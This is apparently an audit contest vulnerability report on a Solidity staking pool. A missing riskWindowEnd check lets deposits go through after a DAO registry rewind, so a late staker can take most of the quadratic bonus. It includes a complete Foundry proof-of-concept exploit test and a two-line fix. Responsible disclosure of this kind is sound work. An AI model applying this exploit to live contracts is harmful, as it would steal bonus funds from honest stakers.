FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

_assertDepositsAllowed() missing riskWindowEnd latch allows stake() and contributeBonus() after terminal state during DAO rewind, enabling quadratic bonus theft

Author Revealed upon completion

Root + Impact

Description

Normal Behavior

The Confidence Pool distributes bonus rewards using a k=2 time-weighted formula where each staker's score is amount × (T − entryTime)², with T = riskWindowEnd (the first-observed terminal timestamp). To prevent a DAO state rewind from re-enabling withdrawals after the risk window opens, withdraw() correctly applies a one-way latch on riskWindowStart. No equivalent latch exists for riskWindowEnd in either stake() or contributeBonus().

Specific Problem

Both stake() (line 227) and contributeBonus() (line 271) gate deposits through the same shared helper:

function contributeBonus(uint256 amount) external nonReentrant whenPoolNotPaused {
...
@> _assertDepositsAllowed(_observePoolState()); // pure — cannot read riskWindowEnd
...
}
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
@> _assertDepositsAllowed(_observePoolState()); // pure — cannot read riskWindowEnd
...
}
// ROOT CAUSE: declared `pure` so it cannot read the riskWindowEnd storage variable
function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
@> // Missing: if (riskWindowEnd != 0) revert StakingClosed();
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION
|| state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
// UNDER_ATTACK passes unchecked even when riskWindowEnd is already permanently sealed
}

When the DAO registry rewinds from PRODUCTION back to UNDER_ATTACK, the pool's riskWindowEnd (T) remains permanently sealed. Because _assertDepositsAllowed is pure and reads no state, it sees only the live UNDER_ATTACK status and allows both deposits to proceed.

An attacker who stakes at entry time E where E > T receives score amount × (E − T)². Since E > T, this is a large positive integer in uint256 — no overflow, no negative arithmetic — but the quadratic growth of (E − T)² makes a small late stake dominate all legitimate early-staker scores. At E − T = 4000 seconds and T − S = 800 seconds (PoC values below): attacker score = 10 × 4000² = 160 000 000; Alice score = 100 × 800² = 64 000 000. The attacker with 10× less capital captures 71% of the bonus pool.

The contributeBonus() entry point compounds the damage: a sponsor contributing bonus during the rewind window (unaware riskWindowEnd is already sealed) inflates snapshotTotalBonus that the attacker then claims disproportionately.


Risk

Likelihood:

  • DESIGN.md §11 explicitly acknowledges the DAO registry as an external trusted singleton subject to benign state corrections; rewinds from PRODUCTION back to UNDER_ATTACK are a documented scenario. An attacker watches riskWindowEnd go non-zero on-chain and waits for any registry rewind to execute.

  • The protocol already applies a rewind-protection latch for withdraw() on riskWindowStart, making the missing equivalent latch on riskWindowEnd for deposits a directly analogous and foreseeable gap.

Impact:

  • An attacker with a fraction of the staked capital captures the majority of the bonus pool by staking at time E >> T, producing a k=2 score amount × (E − T)² that grows quadratically with the gap between the attacker's entry time and the sealed terminal timestamp.

  • Honest early stakers who bore genuine protocol risk through the entire active window receive near-zero bonus despite holding the majority of staked capital.

  • contributeBonus() sharing the same missing latch means a second-pass exploit: bonus contributed by any party during the rewind window is silently absorbed into the snapshot that the attacker will drain.


Proof of Concept

Steps to Reproduce:

  1. Create test/RewindExploit.t.sol and paste the complete code below.

  2. Run: forge test --match-test test_Attack_RewindAndContributeBonusExploit -vvv

  3. Observe: Alice (100 ETH staked early) receives only ~28 ETH bonus. The attacker (10 ETH staked after riskWindowEnd was sealed) steals ~71 ETH. The contributeBonus() call at step 7 also succeeds despite riskWindowEnd being sealed — demonstrating the same missing latch on a second entry point.

Note on timestamps: Foundry's default block.timestamp starts at 1. The pool is created with expiry = block.timestamp + 60 days = 5 184 001. All warps in this test (max warp(5000)) remain well within that window. A leading vm.warp(1) is added explicitly for reproducibility.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
// ── Minimal mocks ───────────────────────────────────────────────────────────
contract MockToken is ERC20 {
constructor() ERC20("Mock", "MCK") {}
function mint(address to, uint256 amount) external { _mint(to, amount); }
}
/// @dev Combines safeHarborRegistry + attackRegistry into one address for simplicity.
/// getAgreementState returns uint8; ABI-compatible with ContractState (enum = uint8).
contract MockRegistry {
// ContractState: NOT_DEPLOYED=0, NEW_DEPLOYMENT=1, ATTACK_REQUESTED=2,
// UNDER_ATTACK=3, PROMOTION_REQUESTED=4, PRODUCTION=5, CORRUPTED=6
uint8 public state;
function getAttackRegistry() external view returns (address) { return address(this); }
function isAgreementValid(address) external pure returns (bool) { return true; }
function getAgreementState(address) external view returns (uint8) { return state; }
function setState(uint8 _state) external { state = _state; }
}
contract MockAgreement {
address public owner;
constructor(address _owner) { owner = _owner; }
function isContractInScope(address) external pure returns (bool) { return true; }
}
// ── Test ─────────────────────────────────────────────────────────────────────
contract RewindExploitTest is Test {
ConfidencePoolFactory factory;
MockToken token;
MockRegistry registry;
address sponsor = address(0x111);
address attacker = address(0x222);
address alice = address(0x333);
function setUp() public {
vm.warp(1); // explicit base so expiry = 1 + 60 days = 5 184 001
token = new MockToken();
registry = new MockRegistry();
ConfidencePool impl = new ConfidencePool();
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImpl),
abi.encodeWithSelector(
ConfidencePoolFactory.initialize.selector,
address(registry), // safeHarborRegistry
address(impl), // poolImplementation
address(this) // defaultOutcomeModerator = test contract
)
);
factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(token), true);
token.mint(alice, 1_000 ether);
token.mint(attacker, 1_000 ether);
token.mint(sponsor, 1_000 ether);
}
function test_Attack_RewindAndContributeBonusExploit() public {
// ── 1. Create pool ───────────────────────────────────────────────────
vm.prank(sponsor);
MockAgreement agreement = new MockAgreement(sponsor);
address[] memory scope = new address[](1);
scope[0] = address(0x999);
vm.prank(sponsor);
address poolAddr = factory.createPool(
address(agreement),
address(token),
block.timestamp + 60 days, // expiry = 5 184 001
1 ether,
sponsor,
scope
);
ConfidencePool pool = ConfidencePool(poolAddr);
// ── 2. Alice stakes 100 ETH at T = 100 (before risk window) ─────────
vm.warp(100);
vm.startPrank(alice);
token.approve(address(pool), 100 ether);
pool.stake(100 ether);
vm.stopPrank();
// ── 3. Risk window opens at T = 200 (riskWindowStart sealed) ────────
vm.warp(200);
registry.setState(3); // UNDER_ATTACK
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 200);
// ── 4. Registry reaches PRODUCTION at T = 1000 (riskWindowEnd sealed)
vm.warp(1000);
registry.setState(5); // PRODUCTION
pool.pokeRiskWindow();
assertEq(pool.riskWindowEnd(), 1000, "T must be sealed");
// ── 5. DAO rewinds to UNDER_ATTACK (riskWindowEnd stays 1000 on pool)
registry.setState(3);
// ── 6. EXPLOIT — stake() after riskWindowEnd (BUG: succeeds) ────────
// Because _assertDepositsAllowed() is `pure` it cannot read riskWindowEnd.
// Live state = UNDER_ATTACK passes the check → deposit accepted.
//
// Attacker score = 10 × (5000 − 1000)² = 10 × 4000² = 160 000 000
// Alice score = 100 × (1000 − 200)² = 100 × 800² = 64 000 000
// → Attacker captures 160/(160+64) ≈ 71% with only 10% of capital.
vm.warp(5000); // within expiry (5 000 < 5 184 001)
vm.startPrank(attacker);
token.approve(address(pool), 10 ether);
pool.stake(10 ether); // should revert — does NOT (bug confirmed)
vm.stopPrank();
// ── 7. COMPOUND — contributeBonus() also missing the latch (M1 bug) ─
// The sponsor contributes 100 ETH after riskWindowEnd is sealed.
// _assertDepositsAllowed() is pure, sees UNDER_ATTACK → accepts.
// This inflates snapshotTotalBonus that the attacker will drain.
vm.startPrank(sponsor);
token.approve(address(pool), 100 ether);
pool.contributeBonus(100 ether); // should revert — does NOT (same bug)
vm.stopPrank();
// ── 8. Resolve ───────────────────────────────────────────────────────
registry.setState(5); // PRODUCTION
// address(this) is the moderator (set in factory.initialize above)
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// ── 9. Claims ────────────────────────────────────────────────────────
uint256 alicePre = token.balanceOf(alice);
uint256 attackerPre = token.balanceOf(attacker);
vm.prank(alice); pool.claimSurvived();
vm.prank(attacker); pool.claimSurvived();
uint256 aliceBonus = token.balanceOf(alice) - alicePre - 100 ether;
uint256 attackerBonus = token.balanceOf(attacker) - attackerPre - 10 ether;
console.log("-----------------------------------------------");
console.log("Alice (100 ETH staked, T=100):", aliceBonus / 1e18, "ETH bonus");
console.log("Attacker ( 10 ETH staked, T=5000):", attackerBonus / 1e18, "ETH bonus");
console.log("-----------------------------------------------");
console.log("Attacker score: 10 * (5000-1000)^2 = 160 000 000");
console.log("Alice score: 100 * (1000-200)^2 = 64 000 000");
console.log("Note: both scores are POSITIVE uint256 - no negative arithmetic");
// Attacker with 10x less capital steals majority of the bonus
assertGt(attackerBonus, aliceBonus, "Quadratic exploitation failed");
assertGt(attackerBonus, 70 ether, "Attacker should capture >70 ETH of 100 ETH bonus");
assertLt(aliceBonus, 30 ether, "Alice should receive <30 ETH despite 10x more stake");
}
}

Expected output:

Alice (100 ETH staked, T=100): 28 ETH bonus
Attacker ( 10 ETH staked, T=5000): 71 ETH bonus

Math verification (no overflow, no negatives):

  • T = riskWindowEnd = 1000, S = riskWindowStart = 200, E = 5000

  • Alice clamped to S: score = 100 × (1000 − 200)² = 100 × 640 000 = 64 000 000

  • Attacker at E > T: score = 10 × (5000 − 1000)² = 10 × 16 000 000 = 160 000 000 (positive)

  • Shares: 64/(64+160) = 28.6% for Alice, 160/224 = 71.4% for attacker


Recommended Mitigation

Change _assertDepositsAllowed from pure to view and add the riskWindowEnd one-way latch as its first check. This single two-line change simultaneously closes the vulnerability for both stake() and contributeBonus(), mirroring the existing pattern in withdraw():

- function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
+ function _assertDepositsAllowed(IAttackRegistry.ContractState state) private view {
+ if (riskWindowEnd != 0) revert StakingClosed();
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION
|| state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
}

This mirrors the identical pattern already used in withdraw() for the riskWindowStart latch:

// Existing correct pattern in withdraw() — reference
if (riskWindowStart != 0 || ...) revert WithdrawsDisabled();

After this fix, any stake() or contributeBonus() call made after riskWindowEnd is first observed — regardless of subsequent live registry state — will revert with StakingClosed().

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!